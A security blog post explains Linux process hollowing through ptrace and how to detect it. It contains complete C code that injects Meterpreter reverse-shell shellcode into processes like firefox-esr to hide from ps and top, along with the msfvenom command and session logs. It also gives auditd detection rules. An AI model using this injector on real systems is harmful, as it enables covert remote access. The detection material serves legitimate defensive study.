Attackers and pentesters have a long history of obscuring their presence on a system to avoid detection by defence teams and make it harder to suspect they were ever inside their perimeter. One way of achieving this goal is to hide malicious actions inside a legit process on a machine. There are multiple techniques to gain such a level of stealth on operating systems, such as injecting processes remotely, side-loading libraries or “hollowing” a legitimate process.
While process hollowing is a long-known technique to hide oneself on a Windows machine, way less practical documentation exists on using it on a GNU/Linux one. Even less exists on how to detect the usage of it in an automatic fashion. This article is an attempt to fill-in this gap.
Process hollowing theory
Process hollowing is a method to inject arbitrary code into the address space of another process. It works by creating a process in a “suspended” state, rewrite its memory space with arbitrary code such as a shellcode and resume it. Once resumed, the process will appear legit to the operating system utilities while inside, it will run rogue code.
It is mainly used to evade detection and increase attackers' stealth on an operating system but it may bypass a few antivirus and EDR too. This technique is so often used that it has become both MITRE documented and that is taught in online pentest courses. Many malware, as of today, still use it.
Process hollowing on Windows
To implement process hollowing on Windows, one can use the CreateProcess
function. It has dwCreationFlags
parameter that can include a CREATE_SUSPENDED
flag resulting in the process newly created to be in a “suspended” state, waiting for the creator process to resume it. A bit of calculation is then needed to retrieve the right address to rewrite arbitrary code to that process. Once done, the newly created process can be resumed with the ResumeThread
function.
Shortly, function calls looks like the below:
CreateProcess
in a suspended state- Get the PEB address of the remote process via
ZwQueryInformationProcess
ReadProcessMemory
to fetch the base address of the newly created process in the PEB- Do some black magic calculation to get the right entry point address
WriteProcessMemory
the shellcode to the newly created process- Resume the process via
ResumeThread
This has been widely documented in the past, you can easily find code doing just that:
- https://crypt0ace.github.io/posts/Shellcode-Injection-Techniques-Part-2/
- https://github.com/m0n0ph1/Process-Hollowing
Process hollowing on Linux ?
Technically speaking, the name “process hollowing” is not considered correct for the described technique here as there is no way to start a process in a suspended way on Linux. However, it is possible to stop it right after execution begins using different methods which is close enough to achieve the same level of stealth than on Windows.
The ptrace
API
The ptrace
Linux API is one of these methods. Its original goal is to be used to debug other processes, it is used amongst others by the GNU debugger gdb
. One can observe and change a process memory and registers and change its execution flow via the ptrace()
system call.
To demonstrate this technique, we will write a piece of C code taking a legit program name as an argument, use ptrace()
to inject a shellcode inside it and get a reverse Meterpreter shell.
In more detail, what we want is to:
- create a child process with the
fork()
system call - stop it via calls to
ptrace()
- rewrite its
RIP
register destination address with a shellcode to redirect its execution flow viaptrace()
- resume it via
ptrace()
As you can see, most of the heavy work can be done with the ptrace()
system call. This is a powerful, yet quite detectable way to perform process hollowing.
First, we generate a shellcode via msfvenom
:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=443 -f c
Note that it is done locally on a Kali machine here but this would work with any type of payload.
We then need to use the fork()
system call to create a child process:
pid_t pid = fork();
if (pid == 0)
{
// child process
...
}
else
{
// parent process
}
The child branch contains relatively little code: it needs to declare itself as a ptrace
tracee (via PTRACE_TRACEME
) for the parent process and then execute the wanted legit program:
// child process
if (pid == 0)
{
// attaching to child
if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1)
{
perror("Could not attach to child process");
return 1;
}
execve(prog_name, params, 0);
return 1;
}
prog_name
and params
are described later.
The parent branch, however, is slightly more complicated. First, we want to wait for the child process:
// parent process
if (waitpid(pid, 0, 0) == -1)
{
perror("Failed waiting for child process");
return 1;
}
After that point, the child process is stopped. We retrieve the state of its register via ptrace()
with the PTRACE_GET_REGS
flag:
// Get child process registers
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, 0, ®s) == -1)
{
perror("Failed getting child registers");
return 1;
}
The regs.rip
now contains the child’s instruction pointer and will be the write destination of our shellcode.
Writing the shellcode is a bit more subtle. We need to loop calls to ptrace()
with the PTRACE_POKETEXT
flag. This writes a process memory but only one word at a time (8 bytes on my machine). We need to convert our shellcode buffer to an array of unsigned long
:
// Rewrite RIP with our shellcode
unsigned long addr = regs.rip;
for (int i = 0; i < len; i = i + sizeof(unsigned long))
{
unsigned long w = ((unsigned long*)buf)[i/sizeof(unsigned long)];
if (ptrace(PTRACE_POKETEXT, pid, addr + i, w) == -1)
{
perror("Failed writing memory to child");
}
printf("Writing PID: %d Addr: 0x%08x Buf: 0x%08x\n", pid, addr + i, w);
}
Once the shellcode is written, we need to resume execution by detaching from the child process:
// Detach from child
if (ptrace(PTRACE_DETACH, pid, 0, 0) == -1)
{
perror("Failed detaching from child");
return 1;
}
Full code can be found below:
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>
size_t len = 130;
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x01\xbb\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main(int argc, char *argv[])
{
if (argc < 2)
{
printf("Usage: %s binary\n", argv[0]);
return 1;
}
char *prog_name = argv[1];
pid_t pid = fork();
char *const params[] = { prog_name, 0};
// child process
if (pid == 0)
{
// attaching to child
if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1)
{
perror("Could not attach to child process");
return 1;
}
execve(prog_name, params, 0);
return 1;
}
// parent process
if (waitpid(pid, 0, 0) == -1)
{
perror("Failed waiting for child process");
return 1;
}
// Get child process registers
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, 0, ®s) == -1)
{
perror("Failed getting child registers");
return 1;
}
// Rewrite RIP with our shellcode
unsigned long addr = regs.rip;
for (int i = 0; i < len; i = i + sizeof(unsigned long))
{
unsigned long w = ((unsigned long*)buf)[i/sizeof(unsigned long)];
if (ptrace(PTRACE_POKETEXT, pid, addr + i, w) == -1)
{
perror("Failed writing memory to child");
}
printf("Writing PID: %d Addr: 0x%08x Buf: 0x%08x\n", pid, addr + i, w);
}
// Detach from child
if (ptrace(PTRACE_DETACH, pid, 0, 0) == -1)
{
perror("Failed detaching from child");
return 1;
}
return 0;
}
Once compiled and ran with the /usr/bin/yes
as a target process, this code gives us a meterpreter reverse shell, as expected:
$ gcc -o ptrace ptrace.c
$ ./ptrace /usr/bin/yes
Writing PID: 487024 Addr: 0xf7977810 Buf: 0x096aff31
Writing PID: 487024 Addr: 0xf7977818 Buf: 0x4dd68948
Writing PID: 487024 Addr: 0xf7977820 Buf: 0x076a5a41
Writing PID: 487024 Addr: 0xf7977828 Buf: 0x5178c085
Writing PID: 487024 Addr: 0xf7977830 Buf: 0x58296a50
Writing PID: 487024 Addr: 0xf7977838 Buf: 0x0f5e016a
Writing PID: 487024 Addr: 0xf7977840 Buf: 0x97483b78
Writing PID: 487024 Addr: 0xf7977848 Buf: 0x007fbb01
Writing PID: 487024 Addr: 0xf7977850 Buf: 0x106ae689
Writing PID: 487024 Addr: 0xf7977858 Buf: 0x4859050f
Writing PID: 487024 Addr: 0xf7977860 Buf: 0x74c9ff49
Writing PID: 487024 Addr: 0xf7977868 Buf: 0x6a006a58
Writing PID: 487024 Addr: 0xf7977870 Buf: 0x0ff63148
Writing PID: 487024 Addr: 0xf7977878 Buf: 0x79c08548
Writing PID: 487024 Addr: 0xf7977880 Buf: 0x0f5f016a
Writing PID: 487024 Addr: 0xf7977888 Buf: 0x48050f5a
Writing PID: 487024 Addr: 0xf7977890 Buf: 0x0000e6ff
msf6 payload(linux/x64/meterpreter/reverse_tcp) >
[*] Sending stage (3045380 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:443 -> 127.0.0.1:38250) at 2024-09-06 09:28:13 -0400
It will appear as the yes
binary for the top
utility:
Same if we try to use pidof
:
$ pidof yes
487024
Same with the ps
utility:
$ ps aux | grep 487024
kali 487024 0.0 0.0 3420 2948 pts/4 S 09:28 0:00 /usr/bin/yes
And if we try to look directly for its cmdline
:
$ cat /proc/487024/cmdline
/usr/bin/yes
Effectively making it look like a legit process at first sight and with common tools
A bit more stealth
The yes
binary is a pretty unusual choice to hide oneself, especially if on meterpreter you try to run a shell, it will appear as a child process of yes
, which looks suspicious:
msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 669754 created.
Channel 1 created.
id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),106(bluetooth),113(scanner),136(wireshark),137(kaboxer)
$ pstree
...
├─upowerd───3*[{upowerd}]
├─vmtoolsd───3*[{vmtoolsd}]
├─vmtoolsd───2*[{vmtoolsd}]
├─vmware-vmblock-───2*[{vmware-vmblock-}]
├─xcape───{xcape}
└─yes───sh <====
Moreover, the process would have ongoing network connections, also unusual:
$ lsof -a -i4 -i6 -itcp | grep yes
yes 669561 kali 3u IPv4 487024 0t0 TCP localhost:42152->localhost:https (ESTABLISHED)
What program spawns shell scripts and has HTTPS connection but yet blends in legit processes? Browsers are a good candidate:
$ ./ptrace /usr/lib/firefox-esr/firefox-esr
Writing PID: 673509 Addr: 0x23e0b810 Buf: 0x096aff31
...
$ pstree
...
|-dockerd---13*[{dockerd}]
|-firefox-esr---sh
|-haveged
...
$ lsof -a -i4 -i6 -itcp | grep firefox
firefox-e 3711 kali 89u IPv4 1204923 0t0 TCP 192.168.209.130:50612->93.243.107.34.bc.googleusercontent.com:https (ESTABLISHED)
firefox-e 673509 kali 3u IPv4 1200039 0t0 TCP localhost:59738->localhost:https (ESTABLISHED)
The above is way less likely to raise attention.
Detection
Auditd and system calls
Detection of the previous technique is possible using auditd
rules. The audit daemon allows for detection of system calls via the -S
option. Detecting ptrace()
system calls however is too broad and will raise to many false positives for a defence team (imagine the number of times people use gdb
on production systems). A solution to this is to detect only writes to other processes memory via the PTRACE_POKETEXT
operation of the ptrace()
syscall.
We can create a rule implementing that signature in /etc/audit/rules.d/hollowing.rules
as such:
-a always,exit -S ptrace -F a0=4 -k hollowing_ptrace_poketext
The number 4
correspond to the opcode of PTRACE_POKETEXT
:
#define PTRACE_TRACEME 0
#define PTRACE_PEEKTEXT 1
#define PTRACE_PEEKDATA 2
#define PTRACE_PEEKUSR 3
#define PTRACE_POKETEXT 4
...
This raise several events as soon as we trigger our ./ptrace
program:
# grep hollowing_ptrace_poketext /var/log/audit/audit.log
type=SYSCALL msg=audit(1725699376.347:67): arch=c000003e syscall=101 success=yes exit=0 a0=4 a1=a995c a2=7f349503b810 a3=10b69958096aff31 items=0 ppid=426553 pid=694619 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts3 ses=2 comm="ptrace" exe="/home/kali/ptrace" subj=unconfined key="hollowing_ptrace_poketext"ARCH=x86_64 SYSCALL=ptrace AUID="kali" UID="kali" GID="kali" EUID="kali" SUID="kali" FSUID="kali" EGID="kali" SGID="kali" FSGID="kali"
type=SYSCALL msg=audit(1725699376.347:68): arch=c000003e syscall=101 success=yes exit=0 a0=4 a1=a995c a2=7f349503b818 a3=226ac9314dd68948 items=0 ppid=426553 pid=694619 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts3 ses=2 comm="ptrace" exe="/home/kali/ptrace" subj=unconfined key="hollowing_ptrace_poketext"ARCH=x86_64 SYSCALL=ptrace AUID="kali" UID="kali" GID="kali" EUID="kali" SUID="kali" FSUID="kali" EGID="kali" SGID="kali" FSGID="kali"
As an addition, it is possible to create a rule for the PTRACE_GETREGS
operation, but by itself, it is not suspicious enough IMO:
-a always,exit -S ptrace -F a0=12 -k hollowing_ptrace_getregs
# grep hollowing_ptrace_getregs /var/log/audit/audit.log
type=CONFIG_CHANGE msg=audit(1725700498.973:145): auid=4294967295 ses=4294967295 subj=unconfined op=add_rule key="hollowing_ptrace_getregs" list=4 res=1AUID="unset"
type=SYSCALL msg=audit(1725700502.105:155): arch=c000003e syscall=101 success=yes exit=0 a0=c a1=abda9 a2=0 a3=7ffc8959a7c0 items=0 ppid=426553 pid=703912 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts3 ses=2 comm="ptrace" exe="/home/kali/ptrace" subj=unconfined key="hollowing_ptrace_getregs"ARCH=x86_64 SYSCALL=ptrace AUID="kali" UID="kali" GID="kali" EUID="kali" SUID="kali" FSUID="kali" EGID="kali" SGID="kali" FSGID="kali"
One would need to correlate first a hollowing_ptrace_getregs
and then one or more hollowing_ptrace_poketext
events. This would have a high probability of raising true positives, hence detecting attackers.
Behavioural detection
Another way to detect the injection is to look if processes are not acting suspicious on a system. Using our above example, we can say that having a child /bin/sh
process or an HTTPS ongoing connection is unusual for the /usr/bin/yes
process. But the issue with this approach is that is requires a great knowledge of how legitimate processes are acting on an operating system, which cannot be obtained easily. One may use machine learning to find such anomalies.
In-memory detection
In a forensic investigation, if one has a memory snapshot of the process, the known “good” image of a process can be compared to the one currently in memory. Volatility people have develop a plugin for that: https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/linux/process_hollow.py. It relies on comparing symbol offsets and raising an alert if they differ.
Conclusion
While not considered strictly as process hollowing, code injection via the ptrace()
system call on Linux achieve the same goal in terms of stealth. Detection of this technique on corporate Linux environments is necessary to not overlook processes that seems legitimate and to prevent attackers from going under the radar.
All code shown above and auditd rules can be found on my github: https://github.com/jeffbencteux/Linux-process-hollowing
References
- https://attack.mitre.org/techniques/T1055/012/
- https://crypt0ace.github.io/posts/Shellcode-Injection-Techniques-Part-2/
- https://github.com/m0n0ph1/Process-Hollowing
- https://security.stackexchange.com/questions/272164/is-it-wrong-to-refer-to-ptrace-process-injection-as-process-hollowing
- https://man7.org/linux/man-pages/man2/ptrace.2.html
- https://man7.org/linux/man-pages/man2/waitpid.2.html
- https://trustedsec.com/blog/the-nightmare-of-proc-hollows-exe
- https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/linux/process_hollow.py
- https://bleach.fandom.com/wiki/List_of_Hollows